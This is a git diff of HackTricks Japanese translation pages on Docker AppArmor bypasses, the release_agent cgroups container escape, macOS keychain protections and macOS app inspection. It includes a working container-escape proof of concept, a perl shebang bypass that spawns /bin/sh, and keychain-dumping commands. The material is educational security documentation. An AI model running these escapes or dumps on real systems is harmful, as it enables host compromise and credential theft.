**マウント**は**許可されていません** +* **Ptrace**は、**同じ apparmor プロファイル**によって制限されたプロセスでのみ実行できます -Dockerコンテナを**実行**すると、次の出力が表示されるはずです: +**docker コンテナを実行すると**、次の出力が表示されるはずです: ```bash 1 processes are in enforce mode. docker-default (825) ``` -注意してください。デフォルトでは、**apparmorはコンテナに付与された権限でさえもブロック**します。たとえば、**SYS_ADMIN権限が付与されていても、/proc内部への書き込み権限をブロック**することができます。なぜなら、デフォルトではdockerのapparmorプロファイルがこのアクセスを拒否するからです。 +注意してほしいのは、**apparmorはデフォルトでコンテナに付与されたcapabilities権限さえもブロックする**ということです。例えば、**SYS\_ADMIN権限が付与されていても/proc内への書き込み権限をブロックすることができる**のは、デフォルトのdocker apparmorプロファイルがこのアクセスを拒否するためです。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -Apparmorの制限をバイパスするには、**apparmorを無効にする**必要があります。 +あなたはその制限を回避するために**apparmorを無効にする**必要があります: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -デフォルトでは**AppArmor**は、**SYS_ADMIN**機能を持っていても、コンテナが内部からフォルダをマウントすることを**禁止します**。 +デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダをマウントすることを**禁止します**。SYS\_ADMIN権限があってもです。 -**capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**などの保護方法によって引き続き制限されます): +**capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**のような保護方法によって制限されます): -- `--cap-add=SYS_ADMIN` は`SYS_ADMIN`機能を付与します -- `--cap-add=ALL` はすべての機能を付与します -- `--cap-drop=ALL --cap-add=SYS_PTRACE` はすべての機能を削除し、`SYS_PTRACE`のみを付与します +* `--cap-add=SYS_ADMIN` で `SYS_ADMIN` 権限を付与 +* `--cap-add=ALL` ですべての権限を付与 +* `--cap-drop=ALL --cap-add=SYS_PTRACE` ですべての権限を削除し、`SYS_PTRACE`のみを付与 {% hint style="info" %} -通常、**docker**コンテナ内で**特権のある機能**が**利用可能**であることに**気づいた**場合でも、**exploit**の一部が**機能しない**場合は、dockerの**AppArmorがそれを防いでいる**可能性があります。 +通常、**docker**コンテナ内で**特権のある権限**が利用可能であることを**発見**したが、**エクスプロイトの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。 {% endhint %} ### 例 -([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)の例から) +([**こちら**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)からの例) -AppArmorの機能を説明するために、新しいDockerプロファイル「mydocker」を作成し、次の行を追加しました: +AppArmorの機能を示すために、次の行を追加した新しいDockerプロファイル「mydocker」を作成しました: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` -プロファイルをアクティブにするには、以下の手順を実行する必要があります: +プロファイルを有効にするには、次の手順を実行する必要があります: ``` sudo apparmor_parser -r -W mydocker ``` -プロファイルをリストするには、以下のコマンドを使用できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 +プロファイルをリストするには、次のコマンドを実行できます。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 ``` $ sudo apparmor_status | grep mydocker mydocker ``` -以下のように、「/etc/」を変更しようとするとエラーが発生します。これは、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるためです。 +以下に示すように、AppArmorプロファイルが「/etc」への書き込みアクセスを防止しているため、「/etc/」を変更しようとするとエラーが発生します。 ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` -### AppArmor Docker バイパス1 +### AppArmor Docker Bypass1 -コンテナで実行されている **apparmor プロファイルを見つける** 方法は次の通りです: +コンテナが実行している**apparmorプロファイル**を見つけるには、次のコマンドを使用します: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -その後、次の行を実行して、**使用されている正確なプロファイルを見つける**ことができます: +次に、以下の行を実行して**使用されている正確なプロファイルを見つける**ことができます: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +In the weird case you can **modify the apparmor docker profile and reload it.** あなたは制限を削除し、「バイパス」することができます。 + ### AppArmor Docker Bypass2 -**AppArmorはパスベース**であり、これは、たとえ**`/proc`**のようなディレクトリ内のファイルを**保護**しているとしても、コンテナの実行方法を**構成**できる場合、ホストのprocディレクトリを**`/host/proc`**内にマウントすることができ、それはもはやAppArmorによって保護されなくなります。 +**AppArmorはパスベースです**。これは、たとえそれが**`/proc`**のようなディレクトリ内のファイルを**保護している**としても、**コンテナの実行方法を構成できる**場合、ホストのprocディレクトリを**`/host/proc`**に**マウント**することができ、**AppArmorによって保護されなくなる**ことを意味します。 ### AppArmor Shebang Bypass -[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、ファイルを直接実行すると、任意のコマンドを実行できる例が示されています。例: +[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも**、最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**することで、あなたが望むものを実行できる例を見ることができます。例えば: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -273,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index b11bd74d0..68f5a5627 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,37 +1,24 @@ # Docker release\_agent cgroups escape {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です: -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - -**詳細については、** [**元のブログ投稿**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**を参照してください。** これは要約です: - -元のPoC: +Original PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -Proof of Concept(PoC)は、`release_agent`ファイルを作成し、その呼び出しをトリガーして、コンテナホストで任意のコマンドを実行する方法を示しています。以下は、関連する手順の概要です: +The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: 1. **環境の準備:** -* `/tmp/cgrp`ディレクトリを作成して、cgroupのマウントポイントとして使用します。 -* RDMA cgroupコントローラをこのディレクトリにマウントします。RDMAコントローラが存在しない場合は、代替として`memory` cgroupコントローラを使用することが推奨されています。 +* `/tmp/cgrp`というディレクトリが作成され、cgroupのマウントポイントとして使用されます。 +* RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりに`memory` cgroupコントローラーを使用することが推奨されます。 ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` 2. **子Cgroupの設定:** - - マウントされたcgroupディレクトリ内に名前が"x"の子Cgroupが作成されます。 - - "x"のCgroupに通知を有効にするために、そのnotify\_on\_releaseファイルに1を書き込みます。 +* マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。 +* 「x」Cgroupのnotify\_on\_releaseファイルに1を書き込むことで通知が有効になります。 ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **リリースエージェントの設定:** -* ホスト上のコンテナのパスは、/etc/mtab ファイルから取得されます。 -* 次に、cgroupの release\_agent ファイルが取得したホストパスにある /cmd というスクリプトを実行するように設定されます。 +* ホスト上のコンテナのパスは、/etc/mtabファイルから取得されます。 +* 次に、cgroupのrelease\_agentファイルが、取得したホストパスにある/cmdという名前のスクリプトを実行するように設定されます。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **/cmdスクリプトの作成と設定:** -* /cmdスクリプトはコンテナ内で作成され、ps auxを実行し、出力をコンテナ内の/outputという名前のファイルにリダイレクトするように構成されます。ホスト上の/outputのフルパスが指定されます。 +4. **/cmd スクリプトの作成と設定:** +* /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output という名前のファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。 ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` -5. **攻撃のトリガー:** -* "x"の子cgroup内でプロセスが開始され、すぐに終了します。 -* これにより`release_agent`(/cmdスクリプト)がトリガーされ、ホストでps auxを実行し、出力をコンテナ内の/outputに書き込みます。 +5. **攻撃をトリガーする:** +* "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。 +* これにより `release_agent`(/cmd スクリプト)がトリガーされ、ホスト上で ps aux を実行し、その出力をコンテナ内の /output に書き込みます。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index 54ce3d9d6..d4c9028ec 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## Main Keychains @@ -36,13 +23,13 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ ### Password Keychain Access -これらのファイルは、固有の保護がなく**ダウンロード**可能ですが、暗号化されており、復号化するためには**ユーザーの平文パスワード**が必要です。復号化には[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールが使用できます。 +これらのファイルは、固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。復号化には[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールが使用できます。 ## Keychain Entries Protections ### ACLs -キーチェーンの各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト (ACL)** によって管理されています。これには以下が含まれます: +キーチェーン内の各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト(ACL)**によって管理されています。これには以下が含まれます: * **ACLAuhtorizationExportClear**: 秘密のクリアテキストを取得することを許可します。 * **ACLAuhtorizationExportWrapped**: 他の提供されたパスワードで暗号化されたクリアテキストを取得することを許可します。 @@ -56,13 +43,13 @@ ACLは、これらのアクションをプロンプトなしで実行できる** また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれている場合があり、これは**teamid、apple、**および**cdhash**を識別するために使用されます。 -* **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**ためには、使用されるアプリケーションが**同じteamid**を持っている必要があります。 +* **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**には、使用されるアプリケーションが**同じteamid**を持っている必要があります。 * **apple**が指定されている場合、アプリは**Apple**によって**署名**されている必要があります。 * **cdhash**が示されている場合、**アプリ**は特定の**cdhash**を持っている必要があります。 ### Creating a Keychain Entry -**`Keychain Access.app`**を使用して**新しい**エントリが作成されると、以下のルールが適用されます: +**`Keychain Access.app`**を使用して**新しい**エントリを作成する際には、以下のルールが適用されます: * すべてのアプリが暗号化できます。 * **アプリは**エクスポート/復号化できません(ユーザーにプロンプトなしで)。 @@ -70,7 +57,7 @@ ACLは、これらのアクションをプロンプトなしで実行できる** * アプリはACLを変更できません。 * **partitionID**は**`apple`**に設定されます。 -**アプリケーションがキーチェーンにエントリを作成する**場合、ルールは少し異なります: +アプリケーションがキーチェーンにエントリを作成する場合、ルールは少し異なります: * すべてのアプリが暗号化できます。 * **作成アプリケーション**(または明示的に追加された他のアプリ)のみがエクスポート/復号化できます(ユーザーにプロンプトなしで)。 @@ -100,7 +87,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db ### APIs {% hint style="success" %} -**キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**ものを[**LockSmith**](https://github.com/its-a-feature/LockSmith)というツールで行うことができます。 +**キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**もので、ツール[**LockSmith**](https://github.com/its-a-feature/LockSmith)を使用して行うことができます。 {% endhint %} 各キーチェーンエントリについて**情報**をリストし取得します: @@ -132,7 +119,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db * 適切な**認可**が必要です(**`Nil`**、または秘密情報にアクセスするための認可リストに**含まれている**必要があります) * コード署名が**PartitionID**と一致する必要があります * コード署名が1つの**信頼されたアプリ**のものと一致する必要があります(または正しいKeychainAccessGroupのメンバーである必要があります) -* **すべてのアプリケーションが信頼されている場合**: +* **すべてのアプリケーションが信頼されている**場合: * 適切な**認可**が必要です * コード署名が**PartitionID**と一致する必要があります * **PartitionID**がない場合、これは必要ありません @@ -140,7 +127,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db {% hint style="danger" %} したがって、**1つのアプリケーションがリストされている**場合、そのアプリケーションに**コードを注入する**必要があります。 -**apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼するものです。**`Python`**もこれに使用できます。 +**apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼することができます。**`Python`**もこれに使用できます。 {% endhint %} ### 2つの追加属性 @@ -153,17 +140,6 @@ security dump-keychain ~/Library/Keychains/login.keychain-db * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -174,8 +150,8 @@ GCPハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) は、企業やその顧客が **stealer malwares** によって **compromised** されているかどうかを確認するための **無料** 機能を提供する **ダークウェブ** に基づいた検索エンジンです。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - -## Static Analysis +## 静的分析 ### otool & objdump & nm ```bash @@ -51,7 +38,7 @@ nm -m ./tccd # List of symbols ``` ### jtool2 & Disarm -あなたは[**ここから disarm をダウンロードできます**](https://newosxbook.com/tools/disarm.html)。 +ここから[**disarmをダウンロードできます**](https://newosxbook.com/tools/disarm.html)。 ```bash ARCH=arm64e disarm -c -i -I --signature /path/bin # Get bin info and signature ARCH=arm64e disarm -c -l /path/bin # Get binary sections @@ -60,7 +47,7 @@ ARCH=arm64e disarm -c -S /path/bin # Get symbols (func names, strings...) ARCH=arm64e disarm -c -d /path/bin # Get disasembled jtool2 -d __DATA.__const myipc_server | grep MIG # Get MIG info ``` -ここから[**jtool2をダウンロード**](http://www.newosxbook.com/tools/jtool.html)するか、`brew`を使ってインストールできます。 +ここから[**jtool2をダウンロードできます**](http://www.newosxbook.com/tools/jtool.html) または `brew` を使ってインストールできます。 ```bash # Install brew install --cask jtool2 @@ -115,11 +102,11 @@ ldid -S/tmp/entl.xml ### SuspiciousPackage [**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) は、**.pkg** ファイル(インストーラー)を検査し、インストールする前にその内容を確認するのに役立つツールです。\ -これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトがあります。これにより、**マルウェア**を**持続**させることができます。 +これらのインストーラーには、マルウェア作成者が通常悪用する `preinstall` および `postinstall` bash スクリプトがあります。 ### hdiutil -このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前に検査することを可能にします: +このツールは、Apple のディスクイメージ(**.dmg**)ファイルを**マウント**して、何かを実行する前にそれらを検査することを可能にします: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -144,7 +131,7 @@ Objective-Cで書かれたプログラムは、[Mach-Oバイナリ](../macos-fil * インターフェースインスタンス変数 * 定義されたプロトコル -これらの名前は、バイナリのリバースエンジニアリングを難しくするために難読化される可能性があることに注意してください。 +これらの名前は、バイナリのリバースエンジニアリングをより困難にするために難読化される可能性があることに注意してください。 ### Function calling @@ -158,7 +145,7 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン * 2番目のパラメータ(**op**)は「メッセージを処理するメソッドのセレクタ」です。再度、簡単に言えば、これは単に**メソッドの名前**です。 * 残りのパラメータは、メソッド(op)によって必要とされる**値**です。 -この情報を**ARM64で`lldb`を使って簡単に取得する方法**をこのページで確認してください: +この情報を**`lldb`を使用してARM64で簡単に取得する方法**については、このページを参照してください: {% content-ref url="arm64-basic-assembly.md" %} [arm64-basic-assembly.md](arm64-basic-assembly.md) @@ -236,11 +223,11 @@ swift demangle ## 動的分析 {% hint style="warning" %} -バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーし、`codesign --remove-signature `で**署名を削除する**か、バイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。 +バイナリをデバッグするには、**SIPを無効にする必要があります**(`csrutil disable`または`csrutil enable --without debug`)またはバイナリを一時フォルダにコピーして**署名を削除する**必要があります(`codesign --remove-signature `)またはバイナリのデバッグを許可する必要があります([このスクリプト](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)を使用できます)。 {% endhint %} {% hint style="warning" %} -macOSで**システムバイナリ**(例えば`cloudconfigurationd`)を**計測する**には、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。 +macOSで**システムバイナリ**(例えば`cloudconfigurationd`)を**計測**するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。 {% endhint %} ### API @@ -252,25 +239,25 @@ macOSはプロセスに関する情報を提供するいくつかの興味深い ### スタックショットとマイクロスタックショット -**スタックショット**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するのに特に役立ちます。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してスタックショットを実行できます。 +**スタックショット**は、プロセスの状態をキャプチャするための技術で、すべての実行中のスレッドのコールスタックを含みます。これは、デバッグ、パフォーマンス分析、特定の時点でのシステムの動作を理解するために特に有用です。iOSおよびmacOSでは、**`sample`**や**`spindump`**などのツールや方法を使用してスタックショットを実行できます。 ### Sysdiagnose -このツール(`/usr/bini/ysdiagnose`)は、`ps`、`zprint`などの異なるコマンドを数十個実行して、コンピュータから多くの情報を収集します。 +このツール(`/usr/bini/ysdiagnose`)は、基本的に`ps`、`zprint`などの異なるコマンドを数十個実行してコンピュータから多くの情報を収集します。 -**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は、`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限を持っています。 +**root**として実行する必要があり、デーモン`/usr/libexec/sysdiagnosed`は`com.apple.system-task-ports`や`get-task-allow`などの非常に興味深い権限を持っています。 そのplistは`/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`にあり、3つのMachServicesを宣言しています: * `com.apple.sysdiagnose.CacheDelete`: /var/rmp内の古いアーカイブを削除します * `com.apple.sysdiagnose.kernel.ipc`: 特殊ポート23(カーネル) -* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数(`compress`、`display`、`run`)を渡すことができます。 +* `com.apple.sysdiagnose.service.xpc`: `Libsysdiagnose` Obj-Cクラスを介したユーザーモードインターフェース。辞書内に3つの引数を渡すことができます(`compress`、`display`、`run`) ### 統一ログ MacOSは、アプリケーションを実行して**何をしているのか**を理解する際に非常に役立つ多くのログを生成します。 -さらに、いくつかのログには``タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、**この情報を開示するための証明書をインストールすることが可能です**。詳細は[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)を参照してください。 +さらに、いくつかのログには``タグが含まれ、**ユーザー**または**コンピュータ**の**識別可能**な情報を**隠す**ために使用されます。ただし、この情報を開示するための**証明書をインストールすることが可能です**。詳細は[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)を参照してください。 ### Hopper @@ -288,11 +275,11 @@ Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、
